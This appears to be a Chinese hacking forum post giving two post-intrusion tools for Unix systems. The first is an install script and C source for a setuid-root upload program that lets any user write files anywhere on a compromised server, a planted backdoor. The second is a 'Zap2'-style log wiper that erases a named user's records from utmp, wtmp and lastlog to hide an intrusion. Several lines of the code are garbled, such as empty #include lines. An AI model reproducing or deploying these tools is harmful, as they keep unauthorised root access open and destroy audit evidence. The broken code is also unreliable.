1 、UPLOAD

侵入成功后，拿到root权限了，这个东东可以把他的服务器的访问权限改了，让任何人都可以上传文件 !
root 状 态 下, 运 行 Install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include
main()
{
char filename[48];
printf( "This program will upload up.txt ASCII file to specified file " );
printf( "XXX Copyright Reserved " );
printf( "Where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
FILE *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== NULL ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}


2、破坏现场

进入系统后，出来以前怎么破坏现场？抹掉自己的脚印?

编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器

例子:

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ? ",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv);
kill_wtmp(argv);
kill_utmp(argv);
printf("Zap2! ");
} else
printf("Error. ");
}